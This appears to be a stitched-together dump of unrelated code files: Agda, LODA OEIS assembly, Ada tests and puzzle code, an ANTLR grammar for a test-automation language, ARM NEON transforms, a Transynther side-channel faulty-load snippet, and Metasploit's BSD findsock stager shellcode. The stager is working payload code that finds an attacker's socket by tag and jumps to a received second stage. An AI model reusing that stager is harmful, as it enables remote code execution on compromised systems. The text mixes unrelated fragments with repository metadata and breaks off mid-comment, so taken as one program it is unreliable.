open import Data.Int as ℤ using (ℤ)
open import Data.List
open import Data.List.Relation.Unary.All as List
module MyTestModule where
emptyList : List ℤ
emptyList = []
empty : List.All (λ (x : ℤ) → ⊤) emptyList
empty = checkProperty record
{ databasePath = DATABASE_PATH
; propertyUUID = ????
}
|
oeis/131/A131711.asm
|
neoneye/loda-programs
| 11 |
21992
|
<filename>oeis/131/A131711.asm<gh_stars>10-100
; A131711: Period 12: repeat 0, 1, 2, 5, 2, 9, 0, 9, 8, 5, 8, 1.
; 0,1,2,5,2,9,0,9,8,5,8,1,0,1,2,5,2,9,0,9,8,5,8,1,0,1,2,5,2,9,0,9,8,5,8,1,0,1,2,5,2,9,0,9,8,5,8,1
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $2,$1
mov $1,$3
add $3,$2
lpe
mov $0,$1
mod $0,10
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/discr16_pkg.ads
|
best08618/asylo
| 7 |
16643
|
package Discr16_Pkg is
type ET3a is (E1, E2, E3, E4, E5);
for ET3a use (E1=> 32_001, E2=> 32_002, E3=> 32_003,
E4=> 32_004, E5=> 32_005);
end;
|
src/main/java/uk/nhs/digital/mait/tkwx/tk/internalservices/testautomation/parser/AutotestParser.g4
|
nhsdigitalmait/TKW-x
| 0 |
229
|
/*
Copyright 2012-13 <NAME> <<EMAIL>>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
parser grammar AutotestParser;
options {
language = Java;
tokenVocab = AutotestLexer ;
}
@header {
package uk.nhs.digital.mait.tkwx.tk.internalservices.testautomation.parser;
}
// these declarations appear in the generated parser file AutotestParser.java
@parser::members {
// introduced from AutotestGrammar.g4
//java.util.HashSet<String> hs = new java.util.HashSet<>();
//private boolean isDefined(String s) {if (!hs.contains(s)) {hs.add(s); return true;} else {return false;} };
}
/* --------------------------------------------------------------------------------------------------- */
// Parser - here be syntax
// NB using antlr newlines are not a necessary part of the syntax but we force the requirement so that the
// TKWATM tst merge (which does not use antlr) will work.
input: (line? NL+ )* EOF ;
/* overall high level structure of a tst file */
/* each of these should occur only once within any one file (apart from include) but it's not easy to achieve specifying that in BNF best left to a listener/visitor */
line: script
| validator
| simulator
| stop_when_complete
| schedules
| tests
| messages
| templates
| propertysets
| httpheaders
| datasources
| extractors
| passfails
| include_statement
| substitution_tags
;
//------------------------------------------------------------------------------
// this is "magic" and uses the rule element option form The only valid option is 'fail'
// see p 294 of antlr book
//cardinality[String item] : {isDefined($item)}? <fail={"multiple declaration of "+$item+" element"}> ;
// eg use as script : SCRIPT cardinality[$text] scriptName ;
// For info only, we don't use the above in the g4 file since we want the parser to be as generic as possible
script : SCRIPT scriptName ;
validator: VALIDATOR PATH ;
simulator: SIMULATOR PATH ;
stop_when_complete: STOP_WHEN_COMPLETE ;
schedules: BEGIN_SCHEDULES NL+ schedule* END_SCHEDULES ;
tests: BEGIN_TESTS NL+ test* END_TESTS ;
messages: BEGIN_MESSAGES NL+ message* END_MESSAGES ;
templates: BEGIN_TEMPLATES NL+ template* END_TEMPLATES ;
propertysets: BEGIN_PROPERTYSETS NL+ namedPropertySet* END_PROPERTYSETS ;
httpheaders: BEGIN_HTTPHEADERS NL+ namedHttpHeaderSet* END_HTTPHEADERS ;
datasources: BEGIN_DATASOURCES NL+ datasource* END_DATASOURCES ;
extractors: BEGIN_EXTRACTORS NL+ extractor* END_EXTRACTORS ;
passfails: BEGIN_PASSFAIL NL+ passfail* END_PASSFAIL ;
substitution_tags: BEGIN_SUBSTITUTION_TAGS NL+ substitution_tag* END_SUBSTITUTION_TAGS ;
include_statement : INCLUDE PATH ;
//------------------------------------------------------------------------------
scriptName : IDENTIFIER | DOT_SEPARATED_IDENTIFIER ;
//------------------------------------------------------------------------------
// schedules
schedule: scheduleName TESTS ( testName+ | ( LOOP LPAREN testName+ RPAREN ( FOR INTEGER )? ) ) NL+ ;
scheduleName : IDENTIFIER | DOT_SEPARATED_IDENTIFIER ;
//------------------------------------------------------------------------------
// tests
test: (
testName sendType messageName testArg+
| testName ASYNC passFailCheckName PROMPT QUOTED_STRING testArg+
| testName CHAIN testSynchronicity passFailCheckName testArg*
// Extensible by addition of new property named for function class tks.autotest.testfunction.<functionName>
| testName FUNCTION testFunctionName functionArg*
) NL+
;
testName : IDENTIFIER | DOT_SEPARATED_IDENTIFIER | PATH ;
testSynchronicity : SYNC | ASYNC ;
sendType : SEND_TKW | SEND_RAW ;
testArg : testArgPair
| preTransform
| preSubstitute
| preTransformPoints
| preSubstitutionPoints
;
// These are the FUNCTION Tests not the property set/ http header java functions
// FUNCTION Tests must implement the TestFunction interface
testFunctionName : DELAY ; // currently the only defined function is delay
functionArg : IDENTIFIER | INTEGER | PATH | QUOTED_STRING | SUBSTITUTION_TAG ;
testArgPair : testIntArg INTEGER
| testStringArg testString
| testSynchronicity passFailCheckName
| testURLArg testURL
| testPropertySet
| testHttpHeaderSet
;
testString : IDENTIFIER | PATH | QUOTED_STRING ;
testURL : URL | TAG_URL | QUOTED_STRING ;
testIntArg : TXTIMESTAMPOFFSET
| ASYNCTIMESTAMPOFFSET
| WAIT
| CORRELATIONCOUNT
;
testStringArg : TEXT
| PROFILEID
| CORRELATOR
;
testURLArg : TO
| FROM
| REPLYTO
;
testPropertySet : WITH_PROPERTYSET withPropertySet ;
withPropertySet : ( BASE | propertySetName ) ( PLUS propertySetName ) *
;
testHttpHeaderSet : WITH_HTTPHEADERS withHttpHeaderSet ;
withHttpHeaderSet : httpHeaderSetName ( PLUS httpHeaderSetName ) *
;
// these must either come as a pair or not at all
preTransform : PRETRANSFORM plusDelimPaths ;
preTransformPoints : APPLYPRETRANSFORMTO plusDelimTransformPoints ;
// these must either come as a pair or not at all
preSubstitute : PRESUBSTITUTE substPairs ;
preSubstitutionPoints : APPLYSUBSTITUTIONTO plusDelimTransformPoints ;
// these lists should have the same number of elements for transforms and substitutions
plusDelimPaths : PATH ( PLUS PATH )* ;
substPairs : substPair ( PLUS substPair )* ;
plusDelimTransformPoints : transformPoint ( PLUS transformPoint )* ;
substPair : matchRegexp COMMA substituteRegexp ;
matchRegexp : QUOTED_STRING ;
substituteRegexp : QUOTED_STRING ;
transformPoint : DATA
| PREBASE64
| POSTBASE64
| PRECOMPRESS
| POSTCOMPRESS
| PREDISTRIBUTIONENVELOPE
| POSTDISTRIBUTIONENVELOPE
| PRESOAP
| POSTSOAP
| FINAL
;
//------------------------------------------------------------------------------
// messages
message: messageName messageArg+ NL+ ;
messageName : IDENTIFIER | DOT_SEPARATED_IDENTIFIER ;
messageArg : messageArgSingle | usingTemplate | withDatasource | messageArgPair;
messageArgSingle : BASE64
| COMPRESS
| SOAPWRAP
| DISTRIBUTIONENVELOPEWRAP
;
usingTemplate : USING templateName ;
withDatasource : WITH datasourceName ;
messageArgPair : messageStringArg messageString ;
messageStringArg : SOAPACTION
| MIMETYPE
| AUDITIDENTITY
| ID
;
messageString : IDENTIFIER | PATH | SUBSTITUTION_TAG ;
//------------------------------------------------------------------------------
// templates
template : templateName PATH NL+ ;
templateName : IDENTIFIER | PATH | DOT_SEPARATED_IDENTIFIER ; // we need to match for several here, PATH is less specific than IDENTIFIER
//------------------------------------------------------------------------------
// propertysets
namedPropertySet : propertySetName NL+ propertySetDirective+ ;
propertySetName : IDENTIFIER ;
propertySetDirective : TAB+ ( // DOT_SEPARATED_IDENTIFIER traps function:
SET propertyName psArg
| REMOVE propertyName
) NL+
;
propertyName : DOT_SEPARATED_IDENTIFIER ;
// java propertyset functions must be static taking 0..n String parameters and returning a String
// format is SET <propertyName> function:<class.>+method arg1 arg2 etc
psFunctionName : DOT_SEPARATED_IDENTIFIER ;
psArg : psValue | ( psFunctionName functionArg* ) ;
psValue : QUOTED_STRING | IDENTIFIER | PATH | INTEGER | IPV4 | SUBSTITUTION_TAG ;
//------------------------------------------------------------------------------
// httpHeaderSets
// java httpheaderset functions must be static taking 0..n String parameters and returning a String
// format is <httpheadername> function:class.method arg1 arg2 etc
namedHttpHeaderSet : httpHeaderSetName NL+ httpHeaderSetDirective+ ;
httpHeaderSetName : IDENTIFIER ;
httpHeaderSetDirective : TAB+
httpHeaderName psArg
NL+
;
httpHeaderName : IDENTIFIER;
//------------------------------------------------------------------------------
// datasources
datasource: datasourceName datasourceType PATH NL+ ;
datasourceName : IDENTIFIER | NULL ;
// Extensible by addition of new property named for datasourcetype property tks.autotest.datasource.<datasourceType>
datasourceType : CIRCULARWRITABLETDV | FLATWRITABLETDV ;
//------------------------------------------------------------------------------
// extractors
extractor: extractorName extractorType PATH NL+ ;
extractorName : IDENTIFIER ;
// Extensible by addition of new property named for extractor property tks.autotest.extractor.<extractorType>
extractorType : XPATHEXTRACTOR ;
//------------------------------------------------------------------------------
// passfails
// NB after mods to this revisit ScriptParser.makePassFail, AutotestGrammarCompilerVisitor.makePassFail and also AbstractPassFailCheck.init
// to see if theres an impact
passfail : passFailCheckName passFailCheck NL+ ;
passFailCheckName : IDENTIFIER | DOT_SEPARATED_IDENTIFIER ;
passFailCheck : ( // all these are zero argument passfails
// Extensible by addition of new property named for passfail class tks.autotest.passfail.<passFailCheck>
// http level checks
HTTPACCEPTED | // 202
HTTPOK | // 200
HTTP500 |
ZEROCONTENTLENGTH |
// async distribution envelope tracking id checks
ASYNCMESSAGETRACKINGIDTRACKINGIDREFSMATCH |
ASYNCMESSAGETRACKINGIDTRACKINGIDNOMATCH |
// async distribution envelope timestamp checks
ASYNCMESSAGETIMESTAMPINFRASTRUCTURERESPONSETIMESTAMPMATCH |
// various second response (ie bus/infrastructure ack) distribution envelope tracking id checks
SECONDRESPONSESYNCTRACKINGIDSDIFFER |
SECONDRESPONSESYNCTRACKINGIDACKBY2MATCH |
SECONDRESPONSESYNCTRACKINGIDACKBY3MATCH
)
| xPathCheck
| httpHeaderCheck
| httpHeaderCorrelationCheck
| httpStatusCheck
| nullCheck
/* logical conjunctions */
// NB Current TKW parser implementation will not cope with fully recursive nested expressions: only one level permitted
| ( AND | OR ) bracketedPassfail bracketedPassfail+
| NOT bracketedPassfail
| IMPLIES bracketedPassfail bracketedPassfail
;
bracketedPassfail : LPAREN passFailCheck RPAREN ;
httpStatusCheck : HTTPSTATUSCHECK INTEGER ;
xPathCheck : xpathType xpathExpression xpathArg usingExtractor? ;
xpathType : SYNCHRONOUSXPATH
| ASYNCHRONOUSXPATH
| SECONDRESPONSEXPATH
;
xpathExpression : CST ;
xpathArg : xpathTypeNoArg | ( xpathTypeArg matchString ) ;
xpathTypeNoArg : EXISTS
| DOESNOTEXIST
| CHECK
;
xpathTypeArg : MATCHES
| DOESNOTMATCH
| IN
;
httpHeaderCheck : HTTPHEADERCHECK httpHeaderName xpathArg ;
httpHeaderCorrelationCheck : HTTPHEADERCORRELATIONCHECK httpHeaderName httpHeaderName ;
nullCheck : nullCheckType matchString ;
nullCheckType : NULLREQUEST
| NULLRESPONSE ;
matchString : QUOTED_STRING | SUBSTITUTION_TAG ;
usingExtractor : EXTRACTOR extractorName ;
// These are to be evaluated at Test run time, not substituted on tstp merge. Used for eg time critical tests
// Currently the substitutions are only applied to fromUrl and toUrl attributes of Test
substitution_tag : SUBSTITUTION_TAG ( psArg | (LITERAL QUOTED_STRING ) ) NL+ ;
//------------------------------------------------------------------------------
|
programs/oeis/055/A055581.asm
|
karttu/loda
| 0 |
175538
|
<gh_stars>0
; A055581: Fifth column of triangle A055252.
; 1,8,39,150,501,1524,4339,11762,30705,77808,192495,466926,1114093,2621420,6094827,14024682,31981545,72351720,162529255,362807270,805306341,1778384868,3909091299,8556380130,18656264161,40533753824,87778394079,189515431902,408021893085,876173328348,1876900708315,4011499454426,8555574853593,18210661335000,38689065402327,82051055222742,173722837188565,367236883677140,775155697582035,1633874278875090,3439272371683281,7230388464254928
add $0,1
mov $1,2
lpb $0,1
mov $2,$0
cal $2,196514 ; Partial sums of A100381.
sub $0,1
add $1,$2
lpe
sub $1,6
div $1,4
add $1,1
|
aoc2018/src/day02.adb
|
YoannDupont/advent_of_code_2018
| 0 |
620
|
<reponame>YoannDupont/advent_of_code_2018<gh_stars>0
--------------------------------------------------------------------------------
-- An Ada implementation of the Advent Of Code 2018 --
-- --
-- Day 2: Inventory Management System --
-- --
-- The following is an MCW example (outside of data) for day 2 of AOC 2018. --
-- See: <https://adventofcode.com/2018> for the whole event. --
--------------------------------------------------------------------------------
with Ada.Text_IO;
with Ada.Strings.Unbounded;
procedure Day02 is
package ASU renames Ada.Strings.Unbounded;
-- for convenience purpose
type US_Array is array(Positive range <>) of ASU.Unbounded_String;
-- The IDs in the input data are all the same length, so we could use a
-- fixed-length String array, but it would not be very generic, and it would
-- not be suited for examples either.
type Natural_Couple is array(1..2) of Natural;
-- This data structure will be used to store two things:
-- * IDs that have exactly 2 of any letter and exactly 3 of any letter;
-- * the absolute count of IDs for the previous item.
-- I could/should use a record for that, but meh, later maybe.
type Character_Count is array(Character range 'a' .. 'z') of Natural;
-- An array indexed on characters that will be used to count occurrences.
-- This is not very generic (cough), but it will do for the input.
-- Creates the "String" array from the file name
function Read_Input(file_name : in String) return US_Array is
-- Tail-call recursion to create the final array.
function Read_Input_Rec(input : in Ada.Text_IO.File_Type; acc : in US_Array) return US_Array is
begin
if Ada.Text_IO.End_Of_File(input) then
return acc;
else
return Read_Input_Rec
(
input,
acc & (1 => ASU.To_Unbounded_String(Ada.Text_IO.Get_Line(input)))
);
end if;
end Read_Input_Rec;
F : Ada.Text_IO.File_Type;
acc : US_Array(1 .. 0);
begin
Ada.Text_IO.Open
(
File => F,
Mode => Ada.Text_IO.In_File,
Name => file_name
);
declare
result : US_Array := Read_Input_Rec(F, acc);
begin
Ada.Text_IO.Close(F);
return result;
end;
end Read_Input;
-- the number that have an ID containing exactly two of any letter and then
-- separately counting those with exactly three of any letter.
-- You can multiply those two counts together to get a rudimentary checksum.
function Checksum(nc : Natural_Couple) return Natural is
begin
return nc(1) * nc(2);
end Checksum;
function Common_Part(left, right : in String) return String is
function Common_Part_Rec(li, ri : in Positive; acc : in String) return String is
begin
if li > left'Last then
return acc;
else
return Common_Part_Rec
(
li+1,
ri+1,
acc & (if left(li) = right(ri) then (1 => left(li)) else "")
);
end if;
end Common_Part_Rec;
begin
return Common_Part_Rec(left'First, right'First, "");
end Common_Part;
function Part_1(input : in US_Array) return Natural is
total_count : Natural_Couple := (0, 0);
begin
for ID of input loop
declare
counts : Character_Count := (others => 0);
current_count : Natural_Couple := (0, 0);
begin
for C of ASU.To_String(ID) loop
counts(C) := counts(C) + 1;
end loop;
for count of counts loop
if count = 2 then
current_count(1) := 1;
elsif count = 3 then
current_count(2) := 1;
end if;
exit when current_count = (1, 1);
end loop;
total_count(1) := total_count(1) + current_count(1);
total_count(2) := total_count(2) + current_count(2);
end;
end loop;
return Checksum(total_count);
end Part_1;
function Part_2(input : in US_Array) return String is
begin
for I in input'Range loop
for J in I+1 .. input'Last loop
declare
common : constant String := Common_Part
(
ASU.To_String(input(I)),
ASU.To_String(input(J))
);
begin
if common'Length = ASU.Length(input(I)) - 1 then
return common;
end if;
end;
end loop;
end loop;
return "";
end Part_2;
input : constant US_Array := Read_Input("input/day02.txt");
begin
Ada.Text_IO.Put_Line("What is the checksum for your list of box IDs?");
Ada.Text_IO.Put_Line(Natural'Image(Part_1(input)));
Ada.Text_IO.New_Line;
Ada.Text_IO.Put_Line("What letters are common between the two correct box IDs?");
Ada.Text_IO.Put_Line(Part_2(input));
end Day02;
|
HBlankCopy.asm
|
009342/Pokemon-Hangul-Code
| 2 |
15172
|
HBlankCopyDouble::
ld a,[H_LOADEDROMBANK]
push af
ld a,b
call BankswitchCommon
ld a,[rLCDC]
bit rLCDC_ENABLE,a
sla c
sla c
sla c
jr nz,.LCDOn
.loop ;8bytes : 1
ld a,[de]
ld [hli],a
ld [hli],a
inc de
dec c
jr nz,.loop
jr .Done
.LCDOn
;if LCD is on
ld a,[rSTAT]
and a,%00000011
cp a,$00 ;is H-Blank Period?
jr z,.LCDOn
.WaitForHBlank
ld a,[rSTAT]
and a,%00000011
cp a,$00
jr nz,.WaitForHBlank
;Wait For H-Blank Period
.HBlankLoop
ld a,[de]
ld [hli],a
ld [hli],a
.CheckHBlank
ld a,[rSTAT]
and a,%00000011
cp a,$00 ;is H-Blank Period?
jr nz,.ReWrite
inc de
dec c
jr nz,.HBlankLoop
.Done
pop af
call BankswitchCommon
ret
.ReWrite
dec hl
dec hl
jr .WaitForHBlank
|
src/commands/gui/DoHelp.asm
|
jhm-ciberman/calculator-asm
| 2 |
82899
|
<reponame>jhm-ciberman/calculator-asm<filename>src/commands/gui/DoHelp.asm<gh_stars>1-10
proc DoHelp
invoke ShellExecute, 0, 0, _gr_str_help_url, 0, 0, SW_SHOW
fastcall ConsolePrint, _gr_message_showing_help
ret
endp
|
src/EntityGraphQL/Grammer/EntityGraphQL.g4
|
patty-caked/EntityGraphQL
| 0 |
6751
|
grammar EntityGraphQL;
// This is our expression language
ID : [a-z_A-Z]+[a-z_A-Z0-9-]*;
DIGIT : [0-9];
STRING_CHARS: [a-zA-Z0-9 \t`~!@#$%^&*()_+={}|\\:\"'\u005B\u005D;<>?,./-];
identity : ID;
callPath : (identity | call | gqlcall) ('.' (identity | call | gqlcall))*;
int : '-'? DIGIT+;
decimal : '-'? DIGIT+'.'DIGIT+;
boolean : 'true' | 'false';
string : '"' ( '"' | ~('\n'|'\r') | STRING_CHARS )*? '"';
null : 'null' | 'empty';
constant : string | int | decimal | boolean | null;
call : method=identity '(' arguments=args? ')';
gqlcall : method=identity '(' ws* (gqlarguments=gqlargs | gqltypedefs=gqlTypeDefs) ws* ')';
args : expression (',' ws* expression)*;
gqlargs : gqlarg (',' ws* gqlarg)*;
gqlTypeDefs : gqlTypeDef (',' ws* gqlTypeDef)*;
gqlVar : '$' identity;
varArray : '[' type=identity required='!'? ']';
gqlTypeDef : gqlVar ws* ':' ws* (type=identity | arrayType=varArray) required='!'? (ws* '=' ws* defaultValue=constant)?;
gqlarg : gqlfield=identity ws* ':' ws* (gqlvalue=expression | gqlvar=gqlVar);
operator : '-' | '+' | '%' | '^' | 'and' | '*' | 'or' | '=' | '<=' | '>=' | '<' | '>' | '/';
expression : 'if' ' '* test=expression ' '* 'then' ' '* ifTrue=expression ' '* 'else' ' '* ifFalse=expression #ifThenElse
| test=expression ' '* '?' ' '* ifTrue=expression ' '* ':' ' '* ifFalse=expression #ifThenElseInline
| left=expression ' '* op=operator ' '* right=expression #binary
| '(' body=expression ')' #expr
| constant #const
| callPath #callOrId;
startRule : expression;
// this is a data query (graphQL inspired)
// # my comment
// {
// entity1 { field1 field2 relation { field1 field2 } }
// entity2 { field1 field2 relation { field1 field2 } }
// }
ws : (' ' | '\t' | '\n' | '\r');
wsNoLines : (' ' | '\t');
queryKeyword : 'query';
mutationKeyword : 'mutation';
field : callPath;
aliasType : name=identity ws* ':' ws*;
aliasExp : alias=aliasType entity=expression;
fieldSelect : '{' (ws* | comment*) (aliasExp | field | fragmentSelect | entityQuery | comment) ((ws* ','? ws*) (aliasExp | field | fragmentSelect | entityQuery | comment))* (ws* | comment*) '}';
entityQuery : alias=aliasType? entity=callPath ws* fields=fieldSelect ws*;
operationName : operation=identity ('(' (operationArgs=gqlTypeDefs)? ')')?;
gqlBody : '{' ws* (comment | aliasExp | entityQuery) ( (ws* ','? ws*) (comment | aliasExp | entityQuery))* ws* '}';
dataQuery : ws* queryKeyword? ws* operationName? ws* gqlBody (ws* | comment*);
mutationQuery : ws* mutationKeyword ws* operationName ws* gqlBody (ws* | comment*);
comment : ws* '#' ~( '\r' | '\n' | EOF )* ( '\r' | '\n' | EOF );
gqlFragment : ws* 'fragment' ws+ fragmentName=identity ws+ 'on' ws+ fragmentType=identity ws* fields=fieldSelect ws*;
fragmentSelect : '...' name=identity;
graphQL : comment* (dataQuery | mutationQuery)+ gqlFragment*;
|
ejercicios1/prueba_divisores.adb
|
iyan22/AprendeAda
| 0 |
6243
|
<gh_stars>0
with ada.text_io, ada.integer_text_io;
use ada.text_io, ada.integer_text_io;
with ada.text_io, ada.integer_text_io;
use ada.text_io, ada.integer_text_io;
with divisores;
procedure prueba_divisores is
n1, divisor:integer:=0;
begin
-- caso de prueba 1:
n1:=4;
put("El resultado deberia de ser 1 2 4:");
new_line;
put("Y tu programa dice que:");
divisores(n1);
new_line;
-- caso de prueba 2:
n1:=20;
put("El resultado deberia de ser 1 2 4 5 10 20:");
new_line;
put("Y tu programa dice que:");
divisores(n1);
new_line;
-- caso de prueba 3:
n1:=1;
put("El resultado deberia de ser 1:");
new_line;
put("Y tu programa dice que:");
divisores(n1);
new_line;
-- caso de prueba 4:
n1:=11;
put("El resultado deberia de ser 1 11:");
new_line;
put("Y tu programa dice que:");
divisores(n1);
new_line;
end prueba_divisores;
|
agda.agda
|
5R33CH4/lango
| 2 |
6977
|
open import IO
main = run (putStr "Hacktoberfest")
|
vp8/common/arm/neon/iwalsh_neon.asm
|
mrchapp/libvpx
| 1 |
1847
|
;
; Copyright (c) 2010 The VP8 project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_short_inv_walsh4x4_neon|
EXPORT |vp8_short_inv_walsh4x4_1_neon|
ARM
REQUIRE8
PRESERVE8
AREA |.text|, CODE, READONLY ; name this block of code
;short vp8_short_inv_walsh4x4_neon(short *input, short *output)
|vp8_short_inv_walsh4x4_neon| PROC
; read in all four lines of values: d0->d3
vldm.64 r0, {q0, q1}
; first for loop
vadd.s16 d4, d0, d3 ;a = [0] + [12]
vadd.s16 d5, d1, d2 ;b = [4] + [8]
vsub.s16 d6, d1, d2 ;c = [4] - [8]
vsub.s16 d7, d0, d3 ;d = [0] - [12]
vadd.s16 d0, d4, d5 ;a + b
vadd.s16 d1, d6, d7 ;c + d
vsub.s16 d2, d4, d5 ;a - b
vsub.s16 d3, d7, d6 ;d - c
vtrn.32 d0, d2 ;d0: 0 1 8 9
;d2: 2 3 10 11
vtrn.32 d1, d3 ;d1: 4 5 12 13
;d3: 6 7 14 15
vtrn.16 d0, d1 ;d0: 0 4 8 12
;d1: 1 5 9 13
vtrn.16 d2, d3 ;d2: 2 6 10 14
;d3: 3 7 11 15
; second for loop
vadd.s16 d4, d0, d3 ;a = [0] + [3]
vadd.s16 d5, d1, d2 ;b = [1] + [2]
vsub.s16 d6, d1, d2 ;c = [1] - [2]
vsub.s16 d7, d0, d3 ;d = [0] - [3]
vadd.s16 d0, d4, d5 ;e = a + b
vadd.s16 d1, d6, d7 ;f = c + d
vsub.s16 d2, d4, d5 ;g = a - b
vsub.s16 d3, d7, d6 ;h = d - c
vmov.i16 q2, #3
vadd.i16 q0, q0, q2 ;e/f += 3
vadd.i16 q1, q1, q2 ;g/h += 3
vshr.s16 q0, q0, #3 ;e/f >> 3
vshr.s16 q1, q1, #3 ;g/h >> 3
vtrn.32 d0, d2
vtrn.32 d1, d3
vtrn.16 d0, d1
vtrn.16 d2, d3
vstmia.16 r1!, {q0}
vstmia.16 r1!, {q1}
bx lr
ENDP ; |vp8_short_inv_walsh4x4_neon|
;short vp8_short_inv_walsh4x4_1_neon(short *input, short *output)
|vp8_short_inv_walsh4x4_1_neon| PROC
; load a full line into a neon register
vld1.16 {q0}, [r0]
; extract first element and replicate
vdup.16 q1, d0[0]
; add 3 to all values
vmov.i16 q2, #3
vadd.i16 q3, q1, q2
; right shift
vshr.s16 q3, q3, #3
; write it back
vstmia.16 r1!, {q3}
vstmia.16 r1!, {q3}
bx lr
ENDP ; |vp8_short_inv_walsh4x4_1_neon|
END
|
external/source/shellcode/bsd/ia32/stager_sock_find.asm
|
OsmanDere/metasploit-framework
| 26,932 |
179725
|
;;
;
; Name: stager_sock_find
; Qualities: Nothing Special
; Version: $Revision: 1630 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Implementation of a BSD findsock TCP stager.
;
; File descriptor in edi
;
; Meta-Information:
;
; meta-shortname=BSD FindTag Stager
; meta-description=Run a second stage from an established connection
; meta-authors=skape <mmiller [at] hick.org>
; meta-os=bsd
; meta-arch=ia32
; meta-category=stager
; meta-connection-type=findtag
; meta-name=find
; meta-basemod=Msf::PayloadComponent::FindConnection
; meta-offset-findtag=0x1b
;;
BITS 32
GLOBAL main
main:
initialize_stack:
xor edx, edx
push edx
mov esi, esp
push edx
push edx
mov dl, 0x80
push edx
mov dh, 0x0c
push edx
push esi
push edx
push edx
recvfrom:
inc word [esi - 0x18]
push byte 29
pop eax
int 0x80
cmp dword [esi], 0x2166736d
jnz recvfrom
%ifndef USE_SINGLE_STAGE
cld
lodsd
pop edx
%ifdef FD_REG_EBX
pop ebx
%else
pop edi
%endif
pop edx
jmp esi
%else
pop edx
%ifdef FD_REG_EBX
pop ebx
%else
pop edi
%endif
%endif
|
sum.asm
|
gabrielganzer/EMU8086
| 1 |
244125
|
<gh_stars>1-10
.MODEL small
.STACK
.DATA
OPD1 DW 10
OPD2 DW 24
RESULT DW ?
.CODE
.STARTUP
MOV AX, OPD1
ADD AX, OPD2
MOV RESULT, AX
.EXIT
END
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_11096_1796.asm
|
ljhsiun2/medusa
| 9 |
168873
|
<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x16dae, %rsi
clflush (%rsi)
sub $11664, %r8
mov (%rsi), %r12d
nop
nop
nop
nop
nop
xor $33544, %rsi
lea addresses_normal_ht+0x185ae, %rsi
lea addresses_normal_ht+0x183ce, %rdi
add $44591, %r13
mov $113, %rcx
rep movsw
nop
and $5431, %r12
lea addresses_normal_ht+0xd096, %r13
nop
nop
nop
cmp $37304, %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm0
vmovups %ymm0, (%r13)
and %rdi, %rdi
lea addresses_A_ht+0x1b05e, %rsi
nop
nop
nop
nop
nop
cmp %r14, %r14
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
cmp $28356, %rsi
lea addresses_WC_ht+0x1dae, %rsi
lea addresses_normal_ht+0x23ae, %rdi
nop
nop
nop
nop
dec %r14
mov $51, %rcx
rep movsl
nop
nop
and %r14, %r14
lea addresses_normal_ht+0x3dae, %rsi
lea addresses_UC_ht+0x9b06, %rdi
nop
and %r12, %r12
mov $86, %rcx
rep movsl
nop
nop
nop
nop
add $54825, %r12
lea addresses_normal_ht+0x1abae, %rdi
nop
and %rcx, %rcx
movb (%rdi), %r14b
nop
add %r12, %r12
lea addresses_WC_ht+0xcb3e, %rsi
nop
and %rcx, %rcx
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %r8
nop
nop
nop
nop
cmp $24863, %rsi
lea addresses_WT_ht+0x55ae, %rsi
lea addresses_D_ht+0x45ae, %rdi
nop
nop
nop
nop
nop
add $18464, %rdx
mov $1, %rcx
rep movsb
nop
nop
add $33640, %rsi
lea addresses_D_ht+0x5f83, %rcx
nop
nop
nop
inc %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%rcx)
nop
nop
nop
and %r12, %r12
lea addresses_normal_ht+0x1c8e2, %r12
nop
xor %r13, %r13
movw $0x6162, (%r12)
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_WT_ht+0x8ece, %r8
nop
nop
nop
nop
nop
add %rsi, %rsi
movb $0x61, (%r8)
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %r9
push %rdx
push %rsi
// Load
lea addresses_PSE+0x11dae, %rdx
clflush (%rdx)
nop
xor %r14, %r14
movntdqa (%rdx), %xmm3
vpextrq $0, %xmm3, %r12
nop
nop
sub $24585, %r14
// Faulty Load
lea addresses_normal+0x1ddae, %r14
nop
nop
nop
and %r10, %r10
movb (%r14), %r15b
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rdx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
